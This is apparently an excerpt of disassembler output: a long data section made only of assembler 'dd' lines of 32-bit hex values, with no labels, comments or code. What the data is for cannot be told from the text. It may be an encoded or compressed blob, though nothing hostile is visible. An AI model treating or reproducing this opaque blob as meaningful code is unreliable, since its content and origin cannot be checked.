		dd 930CFA0Bh, 0D0659075h, 0B9610033h, 0D96D9988h, 0BE00A496h
		dd 1C533932h, 789C6EF0h, 9EF10045h, 0FA5CCE2Bh,	763718F7h
		dd 78B04196h, 3DB3B6h, 0E679444Ah, 0D3252CA0h, 98FD2D3Bh
		dd 0E3B8F85Dh, 50703C1Ah, 5C67618Fh, 905591A7h,	0B5F14CB3h
		dd 59668607h, 95C03541h, 3ED0673Bh, 633052AFh, 0DD201819h
		dd 8939C400h, 540C8743h, 0C62B0032h, 0B32F8628h, 0BE019CB8h
		dd 0D5C88A6Dh, 3887AA26h, 4042071Bh, 0BF463263h, 0EBB9B300h
		dd 0DDA9976h, 616260FBh, 0E022F3E6h, 9F676300h,	78F5B9BEh
		dd 81B800DFh, 0E8F16CFAh, 4B012990h, 24B7EB71h,	1FFC64D0h
		dd 33550069h, 0FB74E731h, 7E3D4093h, 45D70060h,	6CE4EC8Ch
		dd 0F2D500F3h, 0AD51B7E8h, 0A00DC85h, 2B7BD1F0h, 393D76EEh
		dd 94066828h, 0A546CB4h, 784C3B00h, 837BF223h, 7C1E0607h
		dd 0D11BE23Eh, 8E00C7F2h, 90208915h, 74173ADh, 6A2E8B19h
		dd 0D7A5213Fh, 42B9D405h, 449FC200h, 3B06298Ah,	8E8D00EAh
		dd 54948275h, 0AD008BB1h, 86ED8CD1h, 0DD2473h, 532C4513h
		dd 6B9366F4h, 683CDC00h, 409B975Eh, 3CC909Dh, 7F3B160h
		dd 0C4A1B243h, 0B020837Eh, 0D1789C7Ah, 2BD02C13h, 4707CC7h
		dd 98E4A8BCh, 280EB3Bh,	3CAE81h, 5A119C4Ah, 0DCB5C342h
		dd 0C6C18F00h, 407471C9h
		dd 58E433F6h, 0B5E8F778h, 2E77BF48h, 55B740C5h,	20B0DD1Ch
		dd 7BC04DCh, 0B19E8C40h, 612B53AEh, 23B9781h, 3E880B4h
		dd 1042F12h, 751996D8h,	6083DF55h, 0EE017B05h, 0C33CABDDh
		dd 3880EACAh, 0BEF2024Fh, 860DC9D3h, 0A8870DEEh, 713BE981h
		dd 80BF6FB4h, 49FE1E20h, 0AC34631h, 93A58758h, 483B8098h
		dd 53962F78h, 3CE34D00h, 3D4A1BA7h, 20876076h, 0D3312026h
		dd 0EAC4E206h, 3A69FF93h, 0C5302C2Bh, 665B4E60h, 0E00651C7h
		dd 6E0710E0h, 456D3A1Eh, 7CDA4103h, 0EDE8D74Dh,	1000B983h
		dd 0F6AC6BEFh, 127172E3h, 5F30B1h, 0BF44A9DCh, 0B6001820h
		dd 87CF7F6Dh, 8D97F2h, 0FA51F9ACh, 9EC9CE79h, 0D9785901h
		dd 9B1DE3CBh, 0B9FF2080h, 16544E01h, 133E5DFEh,	1D100098h
		dd 4D885852h, 0BD9F1F81h, 0B790806Fh, 0BF2904F9h, 380F03Eh
		dd 0EFF47AF7h, 664FE0B6h, 3E1903AFh, 7F8BE9A1h,	78006078h
		dd 57119F30h, 1D47C417h, 0CC3BFFFh, 53209BE7h, 9EC53Fh
		dd 807A70CCh, 6138D9D2h, 0E2AC8848h, 0A64980D3h, 21C1CD47h
		dd 2F00009h, 9CF8E979h,	3839F83h, 67F9DA30h, 0C9005EB8h
		dd 0C9450B8Ch, 182C0740h, 80D2F82h, 20C31477h, 8844B06Ch
		dd 150872h, 43999306h, 42F1F463h, 1ABB1600h, 0ABAFF72Ah
		dd 0C0EE732Fh, 3645AD68h, 34071B89h, 0A4227EA7h, 31094AEh
		dd 0E5356D83h, 489C8860h, 3D90A0EAh, 0DC7214A1h, 0C9908C8Ch
		dd 2F570E0Ah, 962EC28Ch, 2495C600h, 123400BDh, 5B8D7EA1h
		dd 4418D83Bh, 5F51B797h, 0B8D3A19Ch, 5C54CC40h,	309A0337h
		dd 63C7F1B1h, 38B017B3h, 390096BCh, 8D3B058Ah, 784B85AEh
		dd 329C0021h, 0D7FC4C3h, 0C0013E0h, 55BFC5F0h, 406F9Ah
		dd 0E2E36422h, 4774C4D0h, 5857DA0Eh, 49E7609Ch,	12E46C7Dh
		dd 0CDB96F1h, 3038E092h, 5A7B3Ah, 9BDEF36Eh, 15FC2D9h
		dd 993C1F97h, 0E0B34F66h, 700C1D5h, 0DB081DBEh,	65EBD6h
		dd 623AEAF6h, 16D09F35h, 0E0B53600h, 0E67331B1h, 5999C0BFh
		dd 389B15A4h, 3B5541Ch,	0FF526040h, 938E2Ah, 0DAEA879Eh
		dd 831905F0h, 0D5337A00h, 63BAE781h, 0F854009Bh, 29B47B06h
		dd 1E00CD8Ch, 1D093FC0h, 77D5571h, 139A866Eh, 0A4FAF048h
		dd 1A01198Fh, 1B81E28Ah, 2DC0C201h, 2AED03AEh, 51C7F8F1h
		dd 7A10C498h, 0E870E900h, 0FFD035A9h, 0D70C005Fh, 0A8D4497Eh
		dd 9E07178Fh, 0EB193BFh, 0EFE325C7h, 3B579001h,	0EB020059h
		dd 2FDC07D0h, 550B039Eh, 807DFB5Dh, 7F382A2Fh, 18A0015h
		dd 0F379B3C8h, 111F8662h, 1FEDC08h, 4E2C729Fh, 0C7E010E8h
		dd 0A9E73C22h, 0C8E05680h, 0A7E20306h, 0E478D0C0h, 1DD4C29h
		dd 6BF0048Bh, 0D4DEC0ABh, 8C019E9Ah, 0A206D796h, 0C4DCD03Ah
		dd 77030063h, 0F3A79DDAh, 170089E9h, 9CA851A9h,	0C1A4F8h
		dd 1B388154h, 4B93D4EEh, 7AA5C600h, 7C3C2618h, 2012001Ch
		dd 375A44F9h, 0C300FEA3h, 0B2B1CF66h, 1193F67h,	56D2F341h
		dd 0D3D3A497h, 200064ABh, 622DF0FFh, 1969AF5h, 0F290020Ch
		dd 0EC238D44h, 0B800BFADh, 649E7117h, 0F0CA455h, 52B7B37Bh
		dd 82C7EF00h, 7C0E4896h, 0D87F0ABAh, 0CFB1EB08h, 0CBC0AD20h
		dd 9A3580A5h, 7B51E100h, 6A2A06C2h, 531D0079h, 7EDDED4Ah
		dd 2319801Bh, 0CF708932h, 710A4180h, 44FCB9D9h,	3695C53Eh
		dd 218820A6h, 0CE807FDBh, 14489D82h, 220B4222h,	859800E6h
		dd 0C775A7CBh, 0AE010E6Eh, 592D9458h, 0D4E96B45h, 0C1B04FD4h
		dd 0F2123F68h, 0B0D70891h, 0C75D3C78h, 73658000h, 25A84E71h
		dd 0EE69C803h, 0D06F9660h, 2093AEh, 0C7061C08h,	684BF8CEh
		dd 1179DEEAh, 70B36300h, 0DDC2AAB1h, 0E2A0091h,	0ABBD1E77h
		dd 0BA03785Fh, 0D66D7908h, 4EFBA012h, 6CD00E6h,	0B030AE56h
		dd 5E0348C4h, 0E3E01DB2h, 40D5E00Bh, 45D80006h,	30445DABh
		dd 0F301018Eh, 1B7449C3h, 0DF45E1Ah, 79DD003Ah,	9856A945h
		dd 900196Ah, 48E8CC86h,	73D2102h, 8B901855h, 1129E675h
		dd 773F12FAh, 0D55E0123h, 0CD80AE05h, 6FC6D0h, 88151856h
		dd 0EAF3F17Bh, 9177E701h, 46EB46Dh, 0E83E7080h,	0D30D4094h
		dd 76FCE550h, 0E1BE563Eh, 0CA08F7B0h, 3B1C4982h, 8D4002C2h
		dd 0B40FB6B8h, 80EF8381h, 0C39F9692h, 0BAC60040h, 88528D8Bh
		dd 6B3F22EEh, 4A260093h, 0BBE35F01h, 824500BFh,	0BCDD6EFDh
		dd 27017176h, 83D46964h, 0C9E494E4h, 0AAE83Eh, 0F0BD54C3h
		dd 0A1B8729Dh, 238C3D0Eh, 0E5EBC044h, 757B5E52h, 5CFF0074h
		dd 9F4A8F80h, 8002104h,	9B0998DFh, 743927Bh, 83BD3AB4h
		dd 7D148348h, 699E29D0h, 0B760FA79h, 6FD9DC3Ah,	1FB60082h
		dd 470A8C13h, 94FC6ACCh, 7A68A800h, 4A04FAD1h, 8FCF30DAh
		dd 96E4A021h, 8E384138h, 0C11A6B49h, 42DAFB91h,	13F5824h
		dd 159C6FD8h, 4A7CCC5Bh, 0B144DF30h, 1F40CAFDh,	579FF5DDh
		dd 0E7F35906h, 41DF13h,	0D4F1890Bh, 581840F7h, 0EFA2D506h
		dd 7021906Fh, 0C6F099h,	37B140F1h, 0EC69F2BCh, 915ACE00h
		dd 0F89A2974h, 9D1DFFEh, 1460AF87h, 7A1D01CFh, 230DEA9Bh
		dd 56F8208Ah, 0E3D8007Dh, 42188057h, 0E800A8AEh, 4DE4E6B3h
		dd 3C750FCDh, 13006A7Ch, 22AB27A1h, 870EEA16h, 4E7F7B7Eh
		dd 55B9E051h, 38D3218Ah, 50001943h, 64240F3Ah, 76002729h
		dd 0E79FBBE0h, 0B895CAh, 0CC0E21C0h, 317BC18Fh,	7445E20Fh
		dd 644AA0DBh, 78848Ch, 0B969057Fh, 2326FF33h, 6DCDB300h
		dd 5A6055D5h, 1EBE004Fh, 37FA62FCh, 0C9718C26h,	0B4D8AD00h
		dd 156588CDh, 85E814h, 8363A27Bh, 0DF19121Eh, 26380E00h
		dd 6DFA2CC9h, 0EDAC07D0h, 20570455h, 8D0C9C4Bh,	0CE94F200h
		dd 0AA23DE83h, 2D7600EFh, 903618F1h, 5D066387h,	0B60CB5EAh
		dd 14383EC8h, 19FD7B80h, 4F13F855h, 0A79F4C00h,	1A8D6D3h
		dd 1DB7E05Bh, 0C156F28Ch, 6EBD2CE7h, 295AE080h,	2F7B400h
		dd 0DD3C1615h, 392F0089h, 373A1A6Dh, 7C00B555h,	2099A17Eh
		dd 3EF0AC94h, 5F80AABEh, 19713E52h, 25008284h, 0FBB6221Ah
		dd 58FDC0h, 0DB6BE93Ah,	0DE7050B7h, 18D19F30h, 0D88974h
		dd 5FBB153Ch, 9EC36A27h, 87174200h, 983440E6h, 78E70344h
		dd 0FE9D7435h, 2436213Eh, 0C90327E6h, 0D0E44879h, 3B238AE2h
		dd 0F7009F6Bh, 3F1404CEh, 11C253A3h, 80B1913Eh,	75A4A6B3h
		dd 89D70C23h, 9821A070h, 9BBA8700h, 0DF7DD156h,	47D7006Ah
		dd 11DCCA1h, 0AE70D8C1h, 139F8D00h, 229ECEFDh, 0ABB50019h
		dd 0CFD50E28h, 8CE259Bh, 532018B3h, 0BCBE003Bh,	0C1669A2Ch
		dd 0D972ACF2h, 0BB4CB119h, 0D189151h, 43A7B804h, 9832CF2Eh
		dd 0BE2DF720h, 9D0B012Ch, 37EED63Dh, 1493E00Eh,	0C00041FAh
		dd 4FF3E56Ah, 7832DD51h, 6D4607B7h, 4037B8C6h, 0D5AD3C10h
		dd 0A83D0803h, 80A67990h, 6BEB1Fh, 2F5A895Dh, 6597EC64h
		dd 0BEF25300h, 106C04E0h, 397282h, 44FDD393h, 408D97EAh
		dd 5916F200h, 5A170425h, 7F107AD0h, 53931C71h, 78F9C083h
		dd 15CC7DDBh, 4EBA6200h, 5A2571D6h, 0A2B800FDh,	0F61C16DCh
		dd 0F019860h, 81725779h, 8060A0D2h, 0FF94001Bh,	2811F0D3h
		dd 9338E9C5h, 0A46E011Fh, 5EEC09DCh, 0F06457ECh, 0B76600A1h
		dd 0D360C031h, 23004D93h, 72FD1E3h, 84561Eh, 0A7179825h
		dd 0F029AB0Eh, 0BE88BD00h, 22128AC9h, 0A5400ECh, 69CD9ACEh
		dd 82069FF9h, 4E941B2h,	6CCF00D0h, 90F7F239h, 5B0E84A2h
		dd 80FE3F58h, 930DD242h
		dd 1BE3865h, 0BF08B780h, 0DEF5E8E0h, 256D3D01h,	0A2F24F96h
		dd 6759A850h, 0D0C260D7h, 0F7858A20h, 0EC00DC7Ch, 0D27E4A3Bh
		dd 0D3E0B5h, 71E7A9B4h,	168215EEh, 5DBEEC00h, 0FAC7921Bh
		dd 2259014h, 0D8FFDE0Dh, 4E435366h, 5BF00FB3h, 113BE725h
		dd 6EBA80D9h, 0A2CA4379h, 76E5072Ah, 90A4BE5Dh,	0D3091489h
		dd 8B4C4604h, 0D9804428h, 0F81525DAh, 18A40047h, 83263CDFh
		dd 0E0095354h, 8FEE76Bh, 0F1039392h, 0AB7708FCh, 25F898DDh
		dd 6A450283h, 470160D9h, 0B6989E63h, 200F6D51h,	2196032Fh
		dd 2AAD54B4h, 8083F961h, 68D10247h, 0A26127B8h,	0A62C931Eh
		dd 59E806C0h, 529429h, 0B9EDB3DDh, 68079782h, 470CBA07h
		dd 0F7100E7Eh, 0FE2D2E48h, 28B6078Ch, 0D0FEBC5Eh, 0E92C9BD4h
		dd 0D5A73C00h, 0D319CD2Bh, 0D8E42Ah, 332FC7FFh,	8947033Dh
		dd 41944314h, 180A0788h, 0BCA04CCEh, 3541A8Ah, 8877A280h
		dd 0BB83B493h, 0EDB42960h, 77FDAC82h, 0FFE600C3h, 547274CCh
		dd 43773E59h, 73BC7503h, 0F0531ED9h, 0B098F130h, 680F006Ah
		dd 7B255E94h, 0DB00AD03h, 46D90BB1h, 3ACBA3EDh,	218CE68Dh
		dd 123077EAh, 758A9B12h, 46CB00EEh, 0DB3B6333h,	0C3E75600h
		dd 0DCBB80Ah, 8ED21DDAh, 0BDFD00F0h, 0E40F174Eh, 0ACB358h
		dd 92FDF01h, 6CEE94h, 5B7160EBh, 19E608CBh, 0F0785A00h
		dd 706340DCh, 1CEA0B11h, 7D0C81CDh, 77003B19h, 0E74E9EB7h
		dd 818ECFA5h, 0CA6D6030h, 0B39BFD06h, 0E18ABD3h, 0B58A294Ch
		dd 0C05936A7h, 89DCDB61h, 0AFADFC0Fh, 0C417E069h, 67A0EB2h
		dd 80216B50h, 6D71105Ah, 1EE21C05h, 940075AEh, 0ED0C9DF5h
		dd 1FC9F0E3h, 2476266Ah, 6E500B9Fh, 53DB6100h, 9D00B684h
		dd 15ECA413h, 48B2F0h, 44662CA8h, 713582E5h, 0D8C2750Bh
		dd 0CDD000DFh, 5CE97h, 6A8DA00Eh, 44101C52h, 9A372400h
		dd 45131AD1h, 0F40AE8D2h, 0FD2F70B0h, 0A331E8h,	4B23BF5Ch
		dd 0F0CF969Ah, 9404F700h, 0C727E9E7h, 0F278B7h,	669756C5h
		dd 52320A03h, 0E9138801h, 245FFCD1h, 0DF5520h, 7276C51Eh
		dd 0A9E4378Ah, 23C34100h, 0CE99F2E2h, 8F871FEBh, 582E007Dh
		dd 2C721B69h, 0F2C27B00h, 0A96CC3Ah, 49D20044h,	0F1632DB5h
		dd 1BEC5C81h, 2470C600h, 0E7986D4Bh, 0D20F0338h, 2237AF3Bh
		dd 139ADAFBh, 80E97641h, 95521608h, 0C09A49CEh,	0D5F52110h
		dd 0CE22F0Bh, 2DC30305h, 841F043Ah, 0B8E086C0h,	6030B4CCh
		dd 1041419Eh, 87079CA4h, 6D4AB332h, 0EB1B7A00h,	49200D1h
		dd 35FD9A4Fh, 40F60D6Bh, 2ACEC91Ch, 68126F83h, 574CB04Dh
		dd 132302C2h, 36986BA6h, 0D8D2482h, 7145EF00h, 0E5B203ACh
		dd 0E001A455h, 0B39C300Ch, 0A88ECh, 85FFDCB9h, 0E8D0EAF5h
		dd 0C2603300h, 0CE17D553h, 7E73C1h, 519907B4h, 44258031h
		dd 0A3133Ch, 71664761h,	30217940h, 0F5905192h, 6854E18Bh
		dd 1924BB8Ch, 0F89F08CBh, 47990900h, 5A4857h, 0D2DE964Ah
		dd 0F7A983Dh, 0D4E49128h, 39014D7Ch, 0C7498AF5h, 25E04512h
		dd 5E6000BEh, 1A584402h, 34727779h, 0EDF2E107h,	0E3E01BB7h
		dd 3994B25h, 2E0ADB0Fh,	8FF8D0F4h, 0A801FF0Bh, 7FB4CB1Fh
		dd 0F3D94A25h, 1AA43F0h, 4D099D72h, 9DCE4148h, 185496A9h
		dd 0B0940094h, 175C6884h, 0B0DCABD0h, 0F637919Fh, 773A0397h
		dd 39FB86E3h, 7D0730A8h, 2AB3F9C0h, 24B9FC8Eh, 1C489B3Ah
		dd 2C8D4023h, 0A7FFCA4Fh, 0CDD13B0Fh, 0BF90E0DDh, 7D88D301h
		dd 27AB0002h, 5F954D13h, 0DB015933h, 0BB74814Ch, 0A6D08392h
		dd 172B88Bh, 311C3D82h,	0D0B6DE20h, 3500DC6Ch, 0E1566B78h
		dd 39C76C0h, 0D3AC6391h, 19D36F2Eh, 0CA035CD0h,	1C5AEA13h
		dd 256C2600h, 94F6F8h, 9C2F0189h, 0AEC9BCD7h, 0A44AF400h
		dd 0A616A94Fh, 0D639028Fh, 3C7549E7h, 0A7B28281h, 9872D8C2h
		dd 0DB501600h, 7CFB6305h, 6920072Ah, 10BB4743h,	97A88136h
		dd 42854A00h, 0D3B8347Fh, 40CE384Bh, 0D4B22300h, 47086992h
		dd 607EF000h, 0CE71093Eh, 0F4DA0022h, 6FC48975h, 0EB0044EAh
		dd 7B69398Ah, 1F04D3h, 2F576D78h, 0FB07362Bh, 9EAF2000h
		dd 19324BA5h, 0D8E404A7h, 0C19B01D9h, 0E08D1E0Eh, 0E50750D3h
		dd 4D38807Eh, 0E4F6FDE0h, 0CAEB0E60h, 0C414D492h, 4099700h
		dd 0C6239C47h, 1D2C2100h, 2D6E10B0h, 5C9B14E0h,	3700F09Dh
		dd 283BC8F7h, 58000320h, 88E43573h, 32A219h, 39826D68h
		dd 11A7A1E1h, 44005EEAh, 3B2DC462h, 78E5C1B6h, 70877F34h
		dd 74C0082h, 0D60BA288h, 54017013h, 5FEDA537h, 3B60B0C8h
		dd 0BE600057h, 72DC8F6Fh, 3E068BB3h, 27F789BCh,	233701B8h
		dd 6D2B303Fh, 9CE2F89Ah, 3C764BEAh, 0DF019074h,	8DA8A939h
		dd 420D8B2h, 0F44F90E1h, 0A52300D1h, 287EFBDh, 0F8C017C0h
		dd 0F3D332B9h, 5D48C7D4h, 0D7243081h, 0AA001A66h, 6E89481Dh
		dd 0A2C75830h, 0EA6288h, 0E58BB0FBh, 3FF0647h, 40E382D4h
		dd 0E4A97C02h, 0FE940898h, 3FFA0029h, 3E58A83Dh, 890BD600h
		dd 5AC4D16Dh, 0D08A0901h, 88007931h, 28A294CEh,	0E678CF00h
		dd 52127ABDh, 196C0053h, 0E9777B0Dh, 8D000C42h,	0F85AB8EAh
		dd 0F6061798h, 102B0780h, 804BD5A3h, 26DAB21Eh,	50300F02h
		dd 0E0C08734h, 9EF484h,	0A571FC8h, 0EFBC2B6Eh, 214AD700h
		dd 27ECA6CBh, 0CA8E0A0Fh, 9C87C39h, 8280BF87h, 7E01FBB4h
		dd 0C7003BEAh, 0DED414B8h, 0FAF144B1h, 98432EFEh, 3E4500AEh
		dd 70A13B82h, 1E65E900h, 0F7302ADFh, 1BE700D0h,	3E89AD69h
		dd 0D60007F3h, 0BF851AE4h, 3CA8AB4h, 718C04BDh,	3BE0F58Eh
		dd 0C0000681h, 6F3F7927h, 7C098Bh, 8A437488h, 753E0E86h
		dd 4439C000h, 63C9CEAh,	834C054Ah, 0C9A123h, 0FBDCF6C4h
		dd 0BB544966h, 0BA4820DCh, 30007EF0h, 0EF3E4EF5h, 3E106BF0h
		dd 0D9805926h, 71680D07h, 9D0058CDh, 801D2E20h,	2B3903h
		dd 5BFD31ECh, 8399049Eh, 0D268D609h, 8240B8Dh, 16818C76h
		dd 5D84FC6Ch, 7E8D9E8h,	0A84EB179h, 2974A032h, 59F8FA08h
		dd 0E414910Fh, 0D8DDC394h, 3ECAA007h, 75D89F43h, 0F4CFCB00h
		dd 0A66B1CDEh, 0FB2B0464h, 0D0DA56DFh, 0FF22526Ch, 0F476F800h
		dd 12DA8CCh, 801217C5h,	0DE92091Fh, 403A0F87h, 2BDC2CC6h
		dd 3153CB1Eh, 0F996E781h, 85F8CA7Ah, 33AF00C8h,	5624394Eh
		dd 20001E48h, 0F8995007h, 737E3Ah, 18BF4DC9h, 6635F32Ah
		dd 841E701h, 0C7A2FB2Ch, 275F770h, 0D0030BAEh, 0B4809205h
		dd 7E69646h, 0C8FF1B07h, 6B005AB2h, 1C30B33Dh, 80088C5Fh
		dd 0A552C72Eh, 0AE4C0C10h, 0F70074CDh, 130660EBh, 78181BC9h
		dd 0E2B0080h, 746DCE59h, 6600FCECh, 9B75383Ch, 1683B6Bh
		dd 0B3288325h, 0D0DF9E03h, 0F300606Ah, 5BEF9D67h, 8870ABh
		dd 0FCD9AD46h, 18133F9Ah, 299E7900h, 0FBDDB3A0h, 6FEEB8h
		dd 9399C308h, 0E3743554h, 43AD2C00h, 97733801h,	0CE66003Eh
		dd 0E88BFFC5h, 767956BDh, 0B3000FB0h, 1E8187DCh, 3AF3855Ah
		dd 4607A6CAh, 674EAAFEh, 2D829B5Eh, 654077F5h, 0C21E5674h
		dd 0D800F07Fh, 1761E5A3h, 47A70008h, 73C327BFh,	0A526DCC0h
		dd 69804854h, 94E01738h, 867F0098h, 7C3A06DDh, 0F2457CEh
		dd 4880803Fh, 0BF95D22Dh, 40FB49E6h, 683A4E02h,	78407BDCh
		dd 0F74CEFDBh, 9AB81F5Bh, 417E5740h, 9A739593h,	0B52100ACh
		dd 0E62CCB20h, 70789C3Fh, 0B14A403h, 0E0BE4173h, 60E2F946h
		dd 198798E1h, 70FB6C55h
		dd 53031733h, 0DE1A0BABh, 35701F80h, 0D01FC06Ah, 9A49AF74h
		dd 0B005D701h, 0BD22950Bh, 0F82AC4h, 626EC569h,	0A9726FD0h
		dd 0D6CF3Eh, 0C72FD3A2h, 2A581h, 76B87936h, 32D4225Ah
		dd 9EE6EC00h, 0CB0974F7h, 33210062h, 96B0F0B8h,	0E5003088h
		dd 5CC47A8Ch, 0F0077863h, 7B3C7C59h, 0DF75FFh, 98DC2B10h
		dd 0CDC9CC32h, 5E03BB1Dh, 0A789A2C0h, 0F063E014h, 5C3102EFh
		dd 2816CDC0h, 80229080h, 893A74A8h, 141C005Dh, 5AEB5EA7h
		dd 3E77C8h, 0D1F0D993h,	47D0D6C6h, 10004074h, 0FE9C8D91h
		dd 0F870FF5Bh, 9D2C01C3h, 8BD9EA17h, 204607Ch, 0AB3F730Eh
		dd 0AD304797h, 1D80019h, 2FB990EBh, 0C758E2D4h,	7D731B01h
		dd 6C029256h, 6B1821h, 0D51D4EFEh, 23002908h, 0DCFF5284h
		dd 1385CF62h, 455451h, 2B6CA7D4h, 300756BFh, 5963E42Ch
		dd 0CCC0B9C7h, 0E726DD8h, 3E1FA5Ah, 77CBD400h, 490F314h
		dd 0ACD63300h, 47E6AD20h, 624A0084h, 59100EA6h,	5E001DC4h
		dd 0AB25B995h, 1E8C7BA4h, 33D7C28h, 662171F9h, 0F4AFE9B1h
		dd 0F0011E97h, 3EB108FDh, 3C20E2BDh, 2A2F00EEh,	408439FCh
		dd 0A02CB059h, 7A1D346Eh, 0D50E82C2h, 6345E046h, 76D00061h
		dd 0FB19D97Eh, 0E5007738h, 0B7F08D1Dh, 30E7310h, 3F94916Eh
		dd 10B651DFh, 245B2E00h, 9B4B2B15h, 0CFE6005Ah,	0D8BA974Ah
		dd 0EA1F6ED2h, 8DC09657h, 0FA9DE8BCh, 7687150h,	64E4DEF0h
		dd 0C82322FEh, 70278460h, 60CBB407h, 0AD90E3ABh, 48F22BDAh
		dd 653F9CD0h, 0D42DA689h, 5FCE9010h, 0E70F4EFCh, 0D25062DAh
		dd 4B218C00h, 0EA4D3EDh, 166BB1A0h, 80341424h, 57CEA98h
		dd 0CD609424h, 0D46E0F00h, 1F6808FCh, 0DFB2B3E3h, 0C6EC4083h
		dd 8EAAC255h, 0F857EF00h, 81FD166Eh, 74CF008Dh,	0DE47786Ch
		dd 6989FAFh, 2818700Fh,	4B93C1B9h, 1060DDFBh, 7FBD008Ah
		dd 36AE5187h, 27B8F27Bh, 1A5F6D00h, 0D0E3B8CEh,	0A18700C1h
		dd 0A5EDF154h, 7D287124h, 0DC72E827h, 5315D100h, 95B2BCF5h
		dd 1EF63B6Bh, 40A3331Eh, 43FB48D6h, 0CB5D23D2h,	196400B8h
		dd 139714D7h, 9B91005Ch, 0E5C4F8ADh, 412E1D89h,	9980D895h
		dd 0E0D9B94Ch, 70B7376h, 0B4E8EB46h, 0C0A32004h, 594C9CD1h
		dd 23F000B8h, 78753B05h, 58BC59FEh, 0E302C84Dh,	0CB33D99Bh
		dd 61596940h, 25C54603h, 1D0FF48h, 4C01E368h, 98D720D3h
		dd 17483610h, 0F0A949E1h, 1F116D80h, 9EAA282h, 9EA57400h
		dd 52BA7DA0h, 7775B0B6h, 0B15A00D6h, 4AF97AFAh,	0DF1EEB2Eh
		dd 8041D7C5h, 0CE3D9A5h, 31F31AC4h, 9DCAE928h, 0E531C4F4h
		dd 0F200BBF4h, 81AE5551h, 25DBE7h, 0DE06EC3Fh, 0F5D04A43h
		dd 0E421A007h, 8190105Eh, 0E7753Ah, 91CA13EAh, 0A4800918h
		dd 30277801h, 94642115h, 93BF07C0h, 0A4E900D0h,	83A8A104h
		dd 15225300h, 0AFD22FD9h, 57E400C3h, 0EBE73941h, 0FC388CF9h
		dd 3DDC019Fh, 0AC1A4E7Ch, 1210E027h, 0E8750772h, 31A033C7h
		dd 2C25805Eh, 6014473Ah, 0A9261FB7h, 7F01300h, 3B4003B9h
		dd 1E90F241h, 0EE1C6EFh, 2E77248h, 2CE59166h, 0C0B830F3h
		dd 47A0726h, 38C2CB00h,	2431930Dh, 401440D5h, 0AB5CA109h
		dd 0C006CF6h, 962E862Ah, 2437A875h, 3A8D774h, 495BA784h
		dd 0B0D861F0h, 0F144D51Ch, 803AE7DCh, 9C984CE5h, 0F0A3EBh
		dd 0B0816F70h, 2559B7BDh, 0AE41C200h, 0EA493F5Dh, 51EB0096h
		dd 764AD8FCh, 0A9004495h, 8EF2A12Eh, 8C031Eh, 1DA868CAh
		dd 2B9A293Dh, 0F5B9C600h, 7E145E7Fh, 5277A1h, 81630E07h
		dd 2769CB24h, 96B5F200h, 797C9910h, 937B3EECh, 5B84DD80h
		dd 0F6AFAA57h, 811D0D00h, 742A6D39h, 0E30B0F2h,	0B52BFD9Ah
		dd 0B03C4467h, 0DA443AEh, 0EE381903h, 0F196E6F2h, 4F2097BAh
		dd 99663FB1h, 0D2E71A07h, 0F501E029h, 0C007920Dh, 6603AD7Ch
		dd 286C47F1h, 0CA0CC9F3h, 3BBA720h, 0D4E06577h,	310036EBh
		dd 0CAF75C98h, 0F47EE49Fh, 17683DEFh, 73FF4200h, 2003B4F0h
		dd 0D187DD00h, 2D75D71Dh, 9A480064h, 0F5D4EAF2h, 6F1DB4A2h
		dd 0AEC097ECh, 4C8F29D7h, 0AB9F1D20h, 8B71431Ah, 0EAC3AA5Eh
		dd 0C2B504B0h, 252E7D00h, 1F8F3CEDh, 339A2608h,	0A6DD0036h
		dd 474B9245h, 0B85E3E00h, 149776E8h, 13962E83h,	5B63003Bh
		dd 760223Ah, 0FB083467h, 0F0204F96h, 0EA667882h, 8A11C3ACh
		dd 1489C36Ah, 0FA9FF47Bh, 4C67600h, 2173C7EBh, 0BF260786h
		dd 50935950h, 2F6A968Ah, 0FD7543Ah, 2068034Fh, 85CDD1CBh
		dd 22785Fh, 243FC489h, 0B0D33E31h, 0B2711330h, 7A8E48Bh
		dd 7AE8EE28h, 275C8068h, 7F068E4Ah, 0E9F8B054h,	32DB040h
		dd 3E0EC048h, 34D09C27h, 74ACEA44h, 0F4CB21h, 0D541B394h
		dd 37009318h, 0E2C9FB7h, 176C64EBh, 0EF9B99D1h,	94C37B00h
		dd 3F6DDF7h, 369FC9B4h,	0C0BFD144h, 0F51B4154h,	3C9BCC00h
		dd 64D9C125h, 1E6C00A8h, 78E129A1h, 161CBDFCh, 6300F85Eh
		dd 0E099F90Ch, 0F30600B4h, 0EBA7A940h, 0CD777805h, 5CF548h
		dd 2B535DDBh, 0F4730691h, 358D002Dh, 5B601C1Bh,	681CD712h
		dd 0A500E3E2h, 40DBC48h, 7F1E00BAh, 9CC0E5C2h, 850ACCBh
		dd 692ECC8Ch, 0C502DAD3h, 40A5A892h, 79FF02h, 0C88095DCh
		dd 7A029C1Ah, 0DBA62918h, 0FE56330h, 38AC96BAh,	0F0865489h
		dd 2A7F7950h, 0EF94B500h, 0C9818E60h, 17AF2A3Ch, 328E8B0h
		dd 0FBBBC588h, 0E8B89AB9h, 0D9003225h, 60B820AEh, 0CFE3CCh
		dd 0B37873Fh, 62111438h, 6A418460h, 86BAE0h, 2D5FA505h
		dd 6107AF31h, 20652330h, 1D3668h, 4430A9F4h, 436D9916h
		dd 363F800h, 7B91F6BDh,	3AC2004Ah, 0AD901D74h, 9D00F383h
		dd 0F241AAE7h, 0E4A66E15h, 73C80C85h, 8BA4220Dh, 7ED2BA07h
		dd 5200A9E8h, 7AD574Fh,	8D8F5501h, 4E8343FCh, 28732007h
		dd 98111459h, 5ACCB48Bh, 32C80017h, 40E880A7h, 25071116h
		dd 0DF22C795h, 39D188Ch, 66832A06h, 87900AF5h, 6E0032FDh
		dd 3A8AC44Ah, 0C87DF4h,	0D8726DEDh, 7A2E3FA4h, 4A495E00h
		dd 0FD2160F2h, 0F01201F4h, 2A3DAEE9h, 9B19C2Eh,	9B58E501h
		dd 1080D8CBh, 0F879F1C6h, 0FA07664Ah, 8E2151A4h, 0A83FF43h
		dd 2CCEE620h, 0F5330180h, 0F0D3321Fh, 3C61C263h, 5BC4AC58h
		dd 0BA10285Fh, 4137C089h, 8712DEh, 9647CD67h, 61C41559h
		dd 0BD053F00h, 0EDC5C03Bh, 19A00731h, 50A609EBh, 47F4620Ah
		dd 87DAFE3Fh, 0CB448E8Fh, 0A6FC01F0h, 7C613CD6h, 62A5AD00h
		dd 4E75D51h, 0BD8A0C1h,	9443812Ah, 0B352D1C3h, 4E25C0h
		dd 8BDCE298h, 97AA2B5Bh, 0BB48A100h, 3F3141B0h,	0FAAB00A5h
		dd 306B4502h, 39002353h, 1983C3A3h, 0EA4344Ch, 79583EC4h
